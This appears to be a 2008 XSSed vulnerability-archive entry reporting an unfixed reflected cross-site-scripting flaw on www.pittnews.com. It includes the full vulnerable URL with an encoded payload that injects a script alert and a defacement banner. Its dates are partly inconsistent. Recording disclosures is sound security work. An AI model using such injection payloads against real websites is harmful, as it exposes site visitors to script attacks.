Unfixed XSS vulnerability at www.pittnews.com

2008-08-20T00:00:00
ID XSSED:48250
Type xssed
Reporter xylitol
Modified 2008-02-10T00:00:00

Description

Security researcher xylitol, has submitted on 20/08/2008 a cross-site-scripting (XSS) vulnerability affecting www.pittnews.com, which at the time of submission ranked 481676 on the web according to Alexa.
We manually validated and published a mirror of this vulnerability on 02/10/2008. It is currently unfixed.
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Vulnerable URL: http://www.pittnews.com/media/storage/paper879/news/2008/07/23/Opinion/Editorial.Tracking.Sex.Offenders-3393418.shtml%27%22%3E%3C/title%3E%3Cscript%3Ealert(1337)%3C/script%3E%3E%3Cmarquee%3E%3Ch1%3EXSS%20by%20Xylitol%3C/h1%3E%3C/marquee%3E%22%3E%3C/title%3E%3Cscript%3Ealert(1337)%3C/script%3E%3E%3Cmarquee%3E%3Ch1%3EXSS%20by%20Xylitol%3C/h1%3E%3C/marquee%3E